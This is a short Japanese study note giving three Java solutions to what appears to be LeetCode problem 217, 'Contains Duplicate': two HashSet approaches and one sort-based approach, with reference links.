- [YouTube videoidをURLから取得する](https://podluck.wordpress.com/2013/06/23/tips-youtube-videoid%E3%82%92url%E3%81%8B%E3%82%89%E5%8F%96%E5%BE%97%E3%81%99%E3%82%8B/)
217 解答


この問題では HashSet を使う方法と、sortを使う方法の二種類がある。

# HashSetの方法
## 一つ目　要素を比較

```Java
 public boolean containsDuplicate(int[] nums) {
		HashSet<Integer> hashset = new HashSet<>();

		for (int i = 0; i < nums.length; i++) {
			if (hashset.contains(nums[i]))
				return true;
			hashset.add(nums[i]);
			}
		return false;
	} 
```

## 二つ目　長さを比較
```Java
public boolean containsDuplicate(int[] nums) {
		Set<Integer> set = new HashSet<>();
		for (int num:nums) {
			set.add(num);
		}
		int arrayLength = nums.length;
		int hashLength = set.size();
		if(arrayLength == hashLength) return false;
		else return true;
		
	}
```

# Sortの方法
```Java
public boolean containsDuplicate(int[] nums) {
		Arrays.sort(nums);//sorting 
		
		for(int i =0; i < nums.length-1; i++) {
			if(nums[i] == nums[i+1]) return true; //checking duplicates
		}
		return false;
	}
```

参考: [YouTube](https://www.youtube.com/watch?v=4oZsPXG9B94)
学んだことを簡単にまとめているだけなので悪しからず。